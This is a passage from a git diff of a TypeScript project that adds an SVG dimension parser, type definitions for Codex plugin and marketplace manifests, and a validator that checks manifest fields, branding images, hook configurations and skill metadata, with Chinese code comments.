SaxesParser({ xmlns: true }); + parser.on('opentag', (tag) => { + if (rootAttributes !== undefined) + return; + if (tag.local !== 'svg') + throw new Error('SVG root element must be .'); + /** 只按 local name 保存根属性,避免 namespace 前缀影响标准属性。 */ + const attributes: Record = {}; + /** attribute 表示当前 SVG 根属性。 */ + for (const attribute of Object.values(tag.attributes)) + attributes[attribute.local] = attribute.value; + rootAttributes = attributes; + }); + parser.write(source).close(); + if (rootAttributes === undefined) + throw new Error('SVG root element must be .'); + /** 把无单位数值文本转换为有限 Number。 */ + const numeric = (value: string | undefined): number | undefined => { + if (value === undefined || !SVG_NUMBER_PATTERN.test(value.trim())) + return undefined; + /** 已通过严格语法检查的有限数值候选。 */ + const number = Number(value); + return Number.isFinite(number) ? number : undefined; + }; + /** viewBox 存在时优先使用其宽高,且不允许回退掩盖非法 viewBox。 */ + const viewBox = rootAttributes.viewBox; + /** 最终参与方形和范围校验的宽高。 */ + let width: number | undefined; + /** 与 width 同源且必须满足相同范围的最终高度。 */ + let height: number | undefined; + if (viewBox !== undefined) { + /** SVG viewBox 允许空白或逗号分隔的四个无单位数值。 */ + const values = viewBox.trim().split(/[\s,]+/u).map(value => numeric(value)); + if (values.length !== 4 || values.some(value => value === undefined)) + throw new Error('SVG viewBox must contain four numeric values without units.'); + width = values[2]; + height = values[3]; + } else { + width = numeric(rootAttributes.width); + height = numeric(rootAttributes.height); + if (width === undefined || height === undefined) + throw new Error('SVG width and height must be numeric values without units.'); + } + if (width === undefined || height === undefined || width <= 0 || height <= 0) + throw new Error('SVG width and height must be positive finite numbers.'); + return { width, height }; +} +import { SaxesParser } from 'saxes'; diff --git a/packages/platforms/codex/src/types.ts b/packages/platforms/codex/src/types.ts new file mode 100644 index 0000000..e0bf55d --- /dev/null +++ b/packages/platforms/codex/src/types.ts @@ -0,0 +1,105 @@ +import type { JsonValue, PluginAuthor } from '@acplugin/core'; +import type { CodexCategory, CodexMarketplaceInstallation } from './protocol.js'; + +export type { CodexCategory, CodexMarketplaceInstallation } from './protocol.js'; + +/** Codex Plugin `interface` 中由平台工厂管理的展示选项。 */ +export interface CodexInterfaceOptions { + readonly shortDescription?: string; + readonly longDescription?: string; + readonly developerName?: string; + readonly category?: CodexCategory; + readonly capabilities?: readonly string[]; + readonly websiteURL?: string; + readonly privacyPolicyURL?: string; + readonly termsOfServiceURL?: string; + readonly supportURL?: string; + readonly defaultPrompt?: string | readonly string[]; + readonly brandColor?: string; + readonly brandColorDark?: string; + readonly composerIcon?: string; + readonly logo?: string; + readonly screenshots?: readonly string[]; +} + +/** Codex Marketplace 单 Plugin 条目的策略选项。 */ +export interface CodexMarketplacePolicyOptions { + readonly installation?: CodexMarketplaceInstallation; +} + +/** Codex Marketplace 的可配置根级展示与安装选项。 */ +export interface CodexMarketplaceOptions { + readonly name?: string; + readonly displayName?: string; + readonly category?: CodexCategory; + readonly policy?: CodexMarketplacePolicyOptions; +} + +/** 创建 Codex Platform 时可声明的公开选项。 */ +export interface CodexPlatformOptions { + readonly strict?: boolean; + readonly interface?: CodexInterfaceOptions; + readonly marketplace?: CodexMarketplaceOptions; +} + +/** Codex Plugin 清单中面向安装界面的完整展示区域。 */ +export interface CodexPluginInterface { + readonly displayName: string; + readonly shortDescription: string; + readonly longDescription: string; + readonly developerName: string; + readonly category?: CodexCategory; + readonly capabilities?: readonly string[]; + readonly websiteURL?: string; + readonly privacyPolicyURL?: string; + readonly termsOfServiceURL?: string; + readonly supportURL?: string; + readonly defaultPrompt?: string | readonly string[]; + readonly brandColor?: string; + readonly brandColorDark?: string; + readonly composerIcon?: string; + readonly logo?: string; + readonly screenshots?: readonly string[]; +} + +/** Codex Plugin Manifest 的平台所有字段。 */ +export interface CodexPluginManifest { + readonly name: string; + readonly version: string; + readonly description: string; + readonly author?: PluginAuthor; + readonly homepage?: string; + readonly repository?: string; + readonly license?: string; + readonly keywords?: readonly string[]; + readonly skills: './skills/'; + readonly interface?: CodexPluginInterface; + readonly hooks?: JsonValue; + readonly mcpServers?: string; +} + +/** Codex Marketplace 文件中的本地 Plugin 来源。 */ +export interface CodexMarketplaceSource { + readonly source: 'local'; + readonly path: './' | `./plugins/${string}`; +} + +/** Codex Marketplace 文件中的单个 Plugin 条目。 */ +export interface CodexMarketplacePlugin { + readonly name: string; + readonly source: CodexMarketplaceSource; + readonly policy: { + readonly installation: CodexMarketplaceInstallation; + readonly authentication: 'ON_INSTALL'; + }; + readonly category: CodexCategory; +} + +/** Codex 自包含 Marketplace 清单。 */ +export interface CodexMarketplaceManifest { + readonly name: string; + readonly interface: { + readonly displayName: string; + }; + readonly plugins: readonly CodexMarketplacePlugin[]; +} diff --git a/packages/platforms/codex/src/validator.ts b/packages/platforms/codex/src/validator.ts new file mode 100644 index 0000000..634bc5e --- /dev/null +++ b/packages/platforms/codex/src/validator.ts @@ -0,0 +1,1036 @@ +import { promises as fs } from 'node:fs'; +import path from 'node:path'; +import type { JsonValue, PlatformValidateContext } from '@acplugin/core'; +import { imageSize } from 'image-size'; +import { parseDocument } from 'yaml'; +import { MARKETPLACE_MANIFEST_PATH, PLUGIN_MANIFEST_PATH } from './manifest.js'; +import { + CODEX_BRAND_COLOR_PATTERN, + CODEX_CATEGORIES, + CODEX_INTERFACE_FIELDS, + CODEX_INTERFACE_REQUIRED_FIELDS, + CODEX_MARKETPLACE_INSTALLATIONS, + CODEX_SKILL_PRODUCTS, + codexInterfaceFieldIssue, + isCodexHttpsUrl, + parseCodexSvgDimensions, +} from './protocol.js'; + +/** Codex Plugin Manifest 允许出现的当前官方根字段。 */ +const PLUGIN_FIELDS = new Set([ + 'id', 'name', 'version', 'description', 'author', 'homepage', 'repository', 'license', 'keywords', + 'skills', 'mcpServers', 'apps', 'hooks', 'interface', +]); + +/** Codex Plugin `interface` 允许出现的当前官方字段。 */ +const INTERFACE_FIELDS = new Set(CODEX_INTERFACE_FIELDS); + +/** Codex Skill `agents/openai.yaml` 允许出现的根字段。 */ +const SKILL_METADATA_FIELDS = new Set(['interface', 'policy', 'dependencies']); + +/** Codex Skill 元数据 `interface` 允许出现的 snake_case 字段。 */ +const SKILL_INTERFACE_FIELDS = new Set([ + 'display_name', 'short_description', 'icon_small', 'icon_large', 'brand_color', 'default_prompt', +]); + +/** Codex Skill 元数据 `policy` 允许出现的字段。 */ +const SKILL_POLICY_FIELDS = new Set(['products', 'allow_implicit_invocation']); + +/** Codex Skill 元数据支持的产品范围。 */ +const SKILL_PRODUCTS = new Set(CODEX_SKILL_PRODUCTS); + +/** Codex Marketplace 根清单允许出现的字段。 */ +const MARKETPLACE_FIELDS = new Set(['name', 'interface', 'plugins']); + +/** Codex Marketplace 每个 Plugin 条目允许出现的字段。 */ +const MARKETPLACE_PLUGIN_FIELDS = new Set(['name', 'source', 'policy', 'category']); + +/** Codex Marketplace 当前支持的安装策略。 */ +const INSTALLATION_POLICIES = new Set(CODEX_MARKETPLACE_INSTALLATIONS); + +/** Codex 官方插件目录当前接受的分类。 */ +const CATEGORIES = new Set(CODEX_CATEGORIES); + +/** Codex Plugin 名称允许使用的官方 ASCII 规则。 */ +const PLUGIN_NAME_PATTERN = /^[\dA-Za-z][\dA-Za-z_-]*$/; + +/** 保守验证完整 Semantic Version 的规则。 */ +const SEMVER_PATTERN = /^(0|[1-9]\d*)\.(0|[1-9]\d*)\.(0|[1-9]\d*)(?:-[\dA-Za-z-]+(?:\.[\dA-Za-z-]+)*)?(?:\+[\dA-Za-z-]+(?:\.[\dA-Za-z-]+)*)?$/; + +/** Canonical 与 fallback Skill 最终目录使用的小写 kebab-case 规则。 */ +const SKILL_ID_PATTERN = /^[a-z0-9]+(?:-[a-z0-9]+)*$/; + +/** 多 Plugin Marketplace 的本地来源必须使用稳定单元目录。 */ +const MARKETPLACE_PLUGIN_SOURCE_PATTERN = /^\.\/plugins\/[a-z0-9]+(?:-[a-z0-9]+)*$/; + +/** Codex 目录品牌图片支持的文件扩展名。 */ +const BRANDING_IMAGE_EXTENSIONS = new Set(['.png', '.jpg', '.jpeg', '.webp', '.svg']); + +/** Codex 目录品牌图片允许的最大字节数。 */ +const MAX_BRANDING_IMAGE_BYTES = 5 * 1024 * 1024; + +/** Codex 当前公开并可以从 Plugin 生命周期配置触发的 Hook 事件。 */ +const HOOK_EVENTS = new Set([ + 'SessionStart', 'SessionEnd', 'UserPromptSubmit', 'PreToolUse', 'PermissionRequest', 'PostToolUse', + 'PreCompact', 'PostCompact', 'SubagentStart', 'SubagentStop', 'Stop', +]); + +/** Codex `hooks.json` 顶层允许出现的字段。 */ +const HOOK_CONFIG_FIELDS = new Set(['description', 'hooks']); + +/** 单个 Codex Hook matcher 分组允许出现的字段。 */ +const HOOK_GROUP_FIELDS = new Set(['matcher', 'hooks']); + +/** 当前可执行 Codex command Hook Handler 允许出现的字段。 */ +const HOOK_HANDLER_FIELDS = new Set([ + 'type', 'command', 'commandWindows', 'command_windows', 'timeout', 'statusMessage', + 'additionalContextLimit', 'async', +]); + +/** JSON 对象的运行时可索引类型。 */ +type JsonRecord = Record; + +/** + * 判断未知值是否为非数组 JSON 对象。 + * + * @param value 从候选清单解析的未知值。 + * @returns 可以按字段读取时返回 true。 + */ +function isRecord(value: unknown): value is JsonRecord { + return value !== null && typeof value === 'object' && !Array.isArray(value); +} + +/** + * 向 Core 提交 Codex 候选校验错误。 + * + * @param context Platform validateBundle 生命周期上下文。 + * @param code 稳定诊断码。 + * @param message 不包含宿主绝对路径的错误信息。 + * @param fieldPath 可选的清单字段位置。 + */ +function report( + context: PlatformValidateContext, + code: string, + message: string, + fieldPath?: readonly (string | number)[], +): void { + context.reportDiagnostic({ + code, + severity: 'error', + message, + ...(fieldPath === undefined ? {} : { fieldPath }), + }); +} + +/** + * 从候选安装根读取并解析 JSON 文件。 + * + * @param context Platform validateBundle 生命周期上下文。 + * @param artifactPath 候选根内的规范 Artifact 路径。 + * @returns JSON 对象;缺失或格式错误时提交诊断并返回 undefined。 + */ +async function readJson( + context: PlatformValidateContext, + artifactPath: string, +): Promise { + try { + /** 从 Core 已安全物化的候选根读取清单文本。 */ + const source = await fs.readFile(path.join(context.candidate.root, artifactPath), 'utf8'); + /** JSON.parse 的未知结果仍需验证顶层对象形态。 */ + const value: unknown = JSON.parse(source); + if (!isRecord(value)) { + report(context, 'CODEX_MANIFEST_OBJECT_REQUIRED', `${artifactPath} must contain a JSON object.`); + return undefined; + } + return value; + } catch { + report(context, 'CODEX_MANIFEST_READ_FAILED', `${artifactPath} must be present and contain valid JSON.`); + return undefined; + } +} + +/** + * 解析 YAML 并要求顶层为普通映射。 + * + * @param context Platform validateBundle 生命周期上下文。 + * @param source 待解析的 YAML 文本。 + * @param artifactPath 用于稳定诊断的相对 Artifact 路径。 + * @returns 无语法错误的 JSON 兼容对象,否则返回 undefined。 + */ +function parseYamlObject( + context: PlatformValidateContext, + source: string, + artifactPath: string, +): JsonRecord | undefined { + try { + /** 保留 YAML parser errors 以拒绝重复键和其他不规范输入。 */ + const document = parseDocument(source, { uniqueKeys: true }); + if (document.errors.length > 0) + throw new Error('Malformed YAML.'); + /** YAML 文档转换后的未知顶层值。 */ + const value: unknown = document.toJSON(); + if (!isRecord(value)) { + report(context, 'CODEX_YAML_OBJECT_REQUIRED', `${artifactPath} must contain a YAML mapping.`); + return undefined; + } + return value; + } catch { + report(context, 'CODEX_YAML_INVALID', `${artifactPath} must contain valid YAML.`); + return undefined; + } +} + +/** + * 判断清单路径引用是否严格位于当前 Plugin 安装根。 + * + * @param reference Codex Manifest 中的相对路径。 + * @returns 路径使用 `./`、不逃逸且不指向根本身时返回 true。 + */ +function isSafePluginReference(reference: string): boolean { + if (!reference.startsWith('./') || reference.includes('\\') || reference.includes('\0')) + return false; + /** 去掉协议前缀后执行 POSIX 规范化的路径片段。 */ + const relative = reference.slice(2); + /** 规范化路径用于拒绝空引用和父目录逃逸。 */ + const normalized = path.posix.normalize(relative); + return relative.length > 0 + && normalized !== '.' + && normalized !== '..' + && !normalized.startsWith('../') + && !path.posix.isAbsolute(normalized); +} + +/** + * 判断 Artifact 集合是否包含被引用文件或目录。 + * + * @param artifacts 当前 DeliveryUnit 的规范路径集合。 + * @param reference 已通过安全规则验证的 Manifest 引用。 + * @returns 精确文件或目录前缀存在时返回 true。 + */ +function referenceExists(artifacts: ReadonlySet, reference: string): boolean { + /** 清单引用去掉 `./` 和结尾斜线后的 Artifact 路径。 */ + const target = reference.slice(2).replace(/\/+$/u, ''); + if (artifacts.has(target)) + return true; + for (const artifact of artifacts) { + if (artifact.startsWith(`${target}/`)) + return true; + } + return false; +} + +/** + * 把 Distribution 中某个 Plugin 子树转换为安装根相对 Artifact 集合。 + * + * @param context Platform validateBundle 生命周期上下文。 + * @param pluginRoot Plugin 相对于 Distribution 根的无前导点路径。 + * @returns 去掉 Plugin 根前缀后的 Artifact 路径集合。 + */ +function scopedArtifacts(context: PlatformValidateContext, pluginRoot: string): ReadonlySet { + /** 根 Plugin 不需要过滤或裁剪路径。 */ + if (pluginRoot === '') + return new Set(context.candidate.unit.artifacts.map(artifact => artifact.path)); + /** 嵌套 Plugin 全部 Artifact 共同使用的固定目录前缀。 */ + const prefix = `${pluginRoot}/`; + return new Set(context.candidate.unit.artifacts + .filter(artifact => artifact.path.startsWith(prefix)) + .map(artifact => artifact.path.slice(prefix.length))); +} + +/** + * 校验单个 Manifest 路径的安全性与存在性。 + * + * @param context Platform validateBundle 生命周期上下文。 + * @param artifacts 当前 DeliveryUnit 的 Artifact 路径集合。 + * @param field 当前引用所属字段。 + * @param reference 待校验路径。 + * @param fieldPath 精确诊断位置。 + */ +function validateReference( + context: PlatformValidateContext, + artifacts: ReadonlySet, + field: string, + reference: string, + fieldPath: readonly (string | number)[], +): void { + if (!isSafePluginReference(reference)) { + report(context, 'CODEX_MANIFEST_REFERENCE_UNSAFE', `${field} must start with ./ and stay inside the Plugin root.`, fieldPath); + } else if (!referenceExists(artifacts, reference)) { + report(context, 'CODEX_MANIFEST_REFERENCE_MISSING', `${field} references a missing Plugin file or directory.`, fieldPath); + } +} + +/** + * 校验已存在的 Codex 目录品牌图片格式、字节数和方形尺寸。 + * + * @param context Platform validateBundle 生命周期上下文。 + * @param pluginRoot Plugin 相对于候选 Distribution 根的安装目录。 + * @param reference 相对于 Plugin 根的图片路径。 + * @param field Manifest 中声明图片的字段。 + * @param fieldPath 精确诊断位置。 + */ +async function validateBrandingImage( + context: PlatformValidateContext, + pluginRoot: string, + reference: string, + field: string, + fieldPath: readonly (string | number)[], +): Promise { + if (!isSafePluginReference(reference)) + return; + /** Manifest 引用转换后的候选根内 Artifact 路径。 */ + const artifactPath = reference.slice(2); + /** 图片文件名的规范小写扩展名。 */ + const extension = path.posix.extname(artifactPath).toLocaleLowerCase('en-US'); + if (!BRANDING_IMAGE_EXTENSIONS.has(extension)) { + report(context, 'CODEX_BRANDING_IMAGE_FORMAT_UNSUPPORTED', `${field} must use PNG, JPEG, WebP, or SVG.`, fieldPath); + return; + } + try { + /** 从 Core 已物化的候选根读取实际图片字节。 */ + const bytes = await fs.readFile(path.join(context.candidate.root, pluginRoot, artifactPath)); + if (bytes.byteLength > MAX_BRANDING_IMAGE_BYTES) { + report(context, 'CODEX_BRANDING_IMAGE_TOO_LARGE', `${field} must not exceed 5 MiB.`, fieldPath); + return; + } + /** SVG 与 Raster 解析后统一参与方形和范围校验的尺寸。 */ + let dimensions: { readonly width?: number; readonly height?: number }; + if (extension === '.svg') { + dimensions = parseCodexSvgDimensions(bytes); + } else { + /** Raster 继续使用二进制格式探测与安全解码。 */ + const raster = imageSize(bytes); + /** `.jpeg` 与 image-size 返回的 `jpg` 使用同一检测格式。 */ + const expectedType = extension === '.jpeg' ? 'jpg' : extension.slice(1); + if (raster.type !== expectedType) { + report(context, 'CODEX_BRANDING_IMAGE_CONTENT_MISMATCH', `${field} extension must match the detected image format.`, fieldPath); + } + dimensions = raster; + } + if (dimensions.width === undefined || dimensions.height === undefined + || dimensions.width !== dimensions.height + || dimensions.width < 48 + || dimensions.width > 4_096) { + report(context, 'CODEX_BRANDING_IMAGE_DIMENSIONS_INVALID', `${field} must be a square image between 48 and 4096 pixels.`, fieldPath); + } + } catch { + report(context, 'CODEX_BRANDING_IMAGE_DECODE_FAILED', `${field} must reference a readable, decodable image.`, fieldPath); + } +} + +/** + * 校验 Codex Plugin 安装界面字段和资源引用。 + * + * @param context Platform validateBundle 生命周期上下文。 + * @param artifacts 当前 DeliveryUnit 的 Artifact 路径集合。 + * @param pluginRoot Plugin 相对于候选 Distribution 根的安装目录。 + * @param value Manifest 的 interface 候选。 + */ +async function validateInterface( + context: PlatformValidateContext, + artifacts: ReadonlySet, + pluginRoot: string, + value: JsonValue, +): Promise { + if (!isRecord(value)) { + report(context, 'CODEX_INTERFACE_OBJECT_REQUIRED', 'interface must be a JSON object.', ['interface']); + return; + } + for (const field of Object.keys(value)) { + if (!INTERFACE_FIELDS.has(field)) + report(context, 'CODEX_INTERFACE_FIELD_UNKNOWN', `Unknown Codex interface field "${field}".`, ['interface', field]); + } + /** 已报告纯值问题的字段不再进入资源存在性校验。 */ + const invalidFields = new Set(); + for (const field of CODEX_INTERFACE_FIELDS) { + /** 当前最终 interface 字段候选。 */ + const candidate = value[field]; + /** 当前字段是否属于 interface 存在时的四个必填展示字段。 */ + const required = (CODEX_INTERFACE_REQUIRED_FIELDS as readonly string[]).includes(field); + /** 必填字段缺失、类型错误或空白时只报告必填问题。 */ + const requiredInvalid = required && (typeof candidate !== 'string' || candidate.trim().length === 0); + if (candidate === undefined || requiredInvalid) { + if (required) { + report(context, 'CODEX_INTERFACE_FIELD_REQUIRED', `interface.${field} must be a non-empty string.`, ['interface', field]); + invalidFields.add(field); + } + continue; + } + /** 共享纯规则返回的第一个稳定问题。 */ + const issue = codexInterfaceFieldIssue(field, candidate); + if (issue !== undefined) { + report(context, issue.code, issue.message, ['interface', field]); + invalidFields.add(field); + } + } + for (const field of ['composerIcon', 'logo'] as const) { + /** 当前图片路径候选。 */ + const candidate = value[field]; + if (typeof candidate === 'string' && !invalidFields.has(field)) { + validateReference(context, artifacts, `interface.${field}`, candidate, ['interface', field]); + if (referenceExists(artifacts, candidate)) + await validateBrandingImage(context, pluginRoot, candidate, `interface.${field}`, ['interface', field]); + } + } + if (Array.isArray(value.screenshots) && !invalidFields.has('screenshots')) { + for (const [index, screenshot] of value.screenshots.entries()) + validateReference(context, artifacts, 'interface.screenshots', screenshot as string, ['interface', 'screenshots', index]); + } +} + +/** + * 校验 Codex Hook matcher 是可执行的正则字符串。 + * + * @param context Platform validateBundle 生命周期上下文。 + * @param value matcher 候选值。 + * @param fieldPath matcher 在最终 Hook 配置中的字段路径。 + */ +function validateHookMatcher( + context: PlatformValidateContext, + value: JsonValue, + fieldPath: readonly (string | number)[], +): void { + if (typeof value !== 'string') { + report(context, 'CODEX_HOOK_MATCHER_INVALID', 'Hook matcher must be a regular-expression string.', fieldPath); + return; + } + try { + /** 构造正则只用于验证 Codex 将要解析的表达式语法。 */ + const expression = new RegExp(value); + void expression; + } catch { + report(context, 'CODEX_HOOK_MATCHER_INVALID', 'Hook matcher must be a valid regular expression.', fieldPath); + } +} + +/** + * 校验 Codex command Hook Handler 的字段和平台限制。 + * + * @param context Platform validateBundle 生命周期上下文。 + * @param event 当前 Handler 所属事件。 + * @param value Handler 候选值。 + * @param fieldPath Handler 在最终 Hook 配置中的字段路径。 + */ +function validateHookHandler( + context: PlatformValidateContext, + event: string, + value: JsonValue, + fieldPath: readonly (string | number)[], +): void { + if (!isRecord(value)) { + report(context, 'CODEX_HOOK_HANDLER_INVALID', 'Hook handlers must be JSON objects.', fieldPath); + return; + } + if (value.type !== 'command') { + report(context, 'CODEX_HOOK_HANDLER_TYPE_INVALID', 'Codex currently executes only command Hook handlers.', [...fieldPath, 'type']); + return; + } + for (const field of Object.keys(value)) { + if (!HOOK_HANDLER_FIELDS.has(field)) + report(context, 'CODEX_HOOK_HANDLER_FIELD_UNKNOWN', `Unknown Codex command Hook field "${field}".`, [...fieldPath, field]); + } + if (typeof value.command !== 'string' || value.command.trim().length === 0) + report(context, 'CODEX_HOOK_COMMAND_INVALID', 'command Hook command must be a non-empty string.', [...fieldPath, 'command']); + /** Windows 命令同时兼容 JSON camelCase 和 TOML snake_case 字段。 */ + for (const field of ['commandWindows', 'command_windows'] as const) { + if (value[field] !== undefined && (typeof value[field] !== 'string' || value[field].trim().length === 0)) + report(context, 'CODEX_HOOK_WINDOWS_COMMAND_INVALID', `${field} must be a non-empty string.`, [...fieldPath, field]); + } + if (value.commandWindows !== undefined && value.command_windows !== undefined) { + report(context, 'CODEX_HOOK_WINDOWS_COMMAND_DUPLICATE', 'Use only one Windows command field spelling.', fieldPath); + } + if (value.timeout !== undefined + && (typeof value.timeout !== 'number' || !Number.isFinite(value.timeout) || value.timeout <= 0)) { + report(context, 'CODEX_HOOK_TIMEOUT_INVALID', 'Hook timeout must be a positive finite number of seconds.', [...fieldPath, 'timeout']); + } else if (event === 'SessionEnd' && typeof value.timeout === 'number' && value.timeout > 3) { + report(context, 'CODEX_HOOK_TIMEOUT_LIMIT', 'SessionEnd Hook timeout must not exceed 3 seconds.', [...fieldPath, 'timeout']); + } + if (value.statusMessage !== undefined + && (typeof value.statusMessage !== 'string' || value.statusMessage.trim().length === 0)) { + report(context, 'CODEX_HOOK_STATUS_INVALID', 'Hook statusMessage must be a non-empty string.', [...fieldPath, 'statusMessage']); + } + if (value.additionalContextLimit !== undefined + && (typeof value.additionalContextLimit !== 'number' + || !Number.isInteger(value.additionalContextLimit) + || value.additionalContextLimit < 0)) { + report(context, 'CODEX_HOOK_CONTEXT_LIMIT_INVALID', 'additionalContextLimit must be a non-negative integer.', [...fieldPath, 'additionalContextLimit']); + } + if (value.async !== undefined && typeof value.async !== 'boolean') + report(context, 'CODEX_HOOK_ASYNC_INVALID', 'command Hook async must be a boolean.', [...fieldPath, 'async']); +} + +/** + * 校验 Codex Hook 事件映射及其 matcher 分组。 + * + * @param context Platform validateBundle 生命周期上下文。 + * @param value `hooks` 字段中的事件映射候选。 + * @param fieldPath 事件映射在最终配置中的字段路径。 + */ +function validateHookEvents( + context: PlatformValidateContext, + value: JsonValue, + fieldPath: readonly (string | number)[], +): void { + if (!isRecord(value)) { + report(context, 'CODEX_HOOK_EVENTS_INVALID', 'hooks must contain an event mapping.', fieldPath); + return; + } + /** [event, groups] 表示当前遍历的 Codex 事件和 matcher 分组。 */ + for (const [event, groups] of Object.entries(value)) { + /** 当前事件在最终配置中的稳定字段路径。 */ + const eventPath = [...fieldPath, event]; + if (!HOOK_EVENTS.has(event)) { + report(context, 'CODEX_HOOK_EVENT_UNKNOWN', `Unknown Codex Hook event "${event}".`, eventPath); + continue; + } + if (!Array.isArray(groups) || groups.length === 0) { + report(context, 'CODEX_HOOK_GROUPS_INVALID', 'Each Hook event must contain one or more matcher groups.', eventPath); + continue; + } + /** [groupIndex, groupValue] 表示当前事件中的 matcher 分组。 */ + for (const [groupIndex, groupValue] of groups.entries()) { + /** 当前 matcher 分组的稳定字段路径。 */ + const groupPath = [...eventPath, groupIndex]; + if (!isRecord(groupValue)) { + report(context, 'CODEX_HOOK_GROUP_INVALID', 'Hook matcher groups must be JSON objects.', groupPath); + continue; + } + for (const field of Object.keys(groupValue)) { + if (!HOOK_GROUP_FIELDS.has(field)) + report(context, 'CODEX_HOOK_GROUP_FIELD_UNKNOWN', `Unknown Codex Hook group field "${field}".`, [...groupPath, field]); + } + if (groupValue.matcher !== undefined) + validateHookMatcher(context, groupValue.matcher, [...groupPath, 'matcher']); + if (!Array.isArray(groupValue.hooks) || groupValue.hooks.length === 0) { + report(context, 'CODEX_HOOK_HANDLERS_INVALID', 'Hook matcher groups must contain one or more handlers.', [...groupPath, 'hooks']); + continue; + } + /** [handlerIndex, handler] 表示当前 matcher 分组中的 Handler。 */ + for (const [handlerIndex, handler] of groupValue.hooks.entries()) + validateHookHandler(context, event, handler, [...groupPath, 'hooks', handlerIndex]); + } + } +} + +/** + * 校验 Codex `hooks.json` 顶层结构或 Plugin Manifest 内联事件映射。 + * + * @param context Platform validateBundle 生命周期上下文。 + * @param value 已解析的 Hook 配置对象。 + * @param fieldPath 配置在 Plugin Manifest 中的字段路径。 + * @param wrapped 是否要求配置使用 `hooks.json` 顶层包装。 + */ +function validateHookConfig( + context: PlatformValidateContext, + value: JsonRecord, + fieldPath: readonly (string | number)[], + wrapped: boolean, +): void { + if (!wrapped && value.hooks === undefined && value.description === undefined) { + validateHookEvents(context, value, fieldPath); + return; + } + for (const field of Object.keys(value)) { + if (!HOOK_CONFIG_FIELDS.has(field)) + report(context, 'CODEX_HOOK_CONFIG_FIELD_UNKNOWN', `Unknown Codex Hook config field "${field}".`, [...fieldPath, field]); + } + if (value.description !== undefined + && (typeof value.description !== 'string' || value.description.trim().length === 0)) { + report(context, 'CODEX_HOOK_DESCRIPTION_INVALID', 'Hook config description must be a non-empty string.', [...fieldPath, 'description']); + } + if (value.hooks === undefined) { + report(context, 'CODEX_HOOKS_REQUIRED', 'Hook config must contain a hooks event mapping.', [...fieldPath, 'hooks']); + return; + } + validateHookEvents(context, value.hooks, [...fieldPath, 'hooks']); +} + +/** + * 读取并校验 Plugin 根内被引用的 Codex `hooks.json`。 + * + * @param context Platform validateBundle 生命周期上下文。 + * @param pluginRoot Plugin 相对于候选 Distribution 根的安装目录。 + * @param reference 已通过安装根路径规则的 Hook 配置引用。 + * @param fieldPath 引用在 Plugin Manifest 中的字段路径。 + */ +async function validateHookFile( + context: PlatformValidateContext, + pluginRoot: string, + reference: string, + fieldPath: readonly (string | number)[], +): Promise { + try { + /** Hook 配置引用相对于当前 Plugin 根解析后的绝对候选路径。 */ + const hookPath = path.join(context.candidate.root, pluginRoot, reference.slice(2)); + /** JSON.parse 返回的未知配置值。 */ + const value: unknown = JSON.parse(await fs.readFile(hookPath, 'utf8')); + if (!isRecord(value)) { + report(context, 'CODEX_HOOK_CONFIG_OBJECT_REQUIRED', 'Hook config must contain a JSON object.', fieldPath); + return; + } + validateHookConfig(context, value, fieldPath, true); + } catch { + report(context, 'CODEX_HOOK_CONFIG_READ_FAILED', 'Hook config reference must contain valid JSON.', fieldPath); + } +} + +/** + * 校验 Hooks 字段允许的引用或内联配置,并验证最终配置内容。 + * + * @param context Platform validateBundle 生命周期上下文。 + * @param artifacts 当前 DeliveryUnit 的 Artifact 路径集合。 + * @param pluginRoot Plugin 相对于候选 Distribution 根的安装目录。 + * @param value Hooks 字段候选。 + */ +async function validateHooks( + context: PlatformValidateContext, + artifacts: ReadonlySet, + pluginRoot: string, + value: JsonValue, +): Promise { + /** 校验并读取单个 Plugin 根路径引用。 */ + const validatePath = async (reference: string, fieldPath: readonly (string | number)[]): Promise => { + validateReference(context, artifacts, 'hooks', reference, fieldPath); + if (isSafePluginReference(reference) && referenceExists(artifacts, reference)) + await validateHookFile(context, pluginRoot, reference, fieldPath); + }; + if (typeof value === 'string') { + await validatePath(value, ['hooks']); + return; + } + if (isRecord(value)) { + validateHookConfig(context, value, ['hooks'], false); + return; + } + if (!Array.isArray(value) || value.length === 0) { + report(context, 'CODEX_HOOKS_INVALID', 'hooks must be a path, paths, an inline object, or inline objects.', ['hooks']); + return; + } + /** 全部为路径或全部为内联对象,避免依赖未声明的混合语义。 */ + const allPaths = value.every(item => typeof item === 'string'); + /** 内联 Hooks 数组是否全部为对象。 */ + const allObjects = value.every(isRecord); + if (!allPaths && !allObjects) { + report(context, 'CODEX_HOOKS_INVALID', 'hooks arrays must contain only paths or only inline objects.', ['hooks']); + return; + } + if (allPaths) { + for (const [index, reference] of value.entries()) + await validatePath(reference as string, ['hooks', index]); + return; + } + for (const [index, inline] of value.entries()) + validateHookConfig(context, inline as JsonRecord, ['hooks', index], false); +} + +/** + * 校验 Skill 元数据中的相对资源引用。 + * + * @param context Platform validateBundle 生命周期上下文。 + * @param artifacts 当前 DeliveryUnit 的 Artifact 路径集合。 + * @param pluginRoot Plugin 相对于候选 Distribution 根的安装目录。 + * @param skillId 当前 Skill 的最终目录 ID。 + * @param field 元数据资源字段名。 + * @param reference 相对于 Skill 根的资源路径。 + */ +function validateSkillAssetReference( + context: PlatformValidateContext, + artifacts: ReadonlySet, + skillId: string, + field: string, + reference: string, +): void { + /** Skill 资源遵循同一 `./` 安全规则,但解析基准是当前 Skill 根。 */ + if (!isSafePluginReference(reference)) { + report(context, 'CODEX_SKILL_ASSET_UNSAFE', `${field} must start with ./ and stay inside the Skill root.`, ['skills', skillId, 'agents', 'openai.yaml', 'interface', field]); + return; + } + /** Skill 相对引用转换后的完整 Artifact 路径。 */ + const artifactPath = `skills/${skillId}/${reference.slice(2)}`; + if (!artifacts.has(artifactPath)) { + report(context, 'CODEX_SKILL_ASSET_MISSING', `${field} references a missing Skill asset.`, ['skills', skillId, 'agents', 'openai.yaml', 'interface', field]); + } +} + +/** + * 校验一个 Skill 的 `agents/openai.yaml` 官方结构。 + * + * @param context Platform validateBundle 生命周期上下文。 + * @param artifacts 当前 DeliveryUnit 的 Artifact 路径集合。 + * @param skillId 当前 Skill 的最终目录 ID。 + */ +async function validateSkillMetadata( + context: PlatformValidateContext, + artifacts: ReadonlySet, + pluginRoot: string, + skillId: string, +): Promise { + /** 当前 Skill 元数据的固定 Artifact 路径。 */ + const metadataPath = `skills/${skillId}/agents/openai.yaml`; + if (!artifacts.has(metadataPath)) + return; + try { + /** 从已物化候选读取 UTF-8 Skill 元数据。 */ + const source = await fs.readFile(path.join(context.candidate.root, pluginRoot, metadataPath), 'utf8'); + /** YAML 顶层必须为可验证的映射。 */ + const metadata = parseYamlObject(context, source, metadataPath); + if (metadata === undefined) + 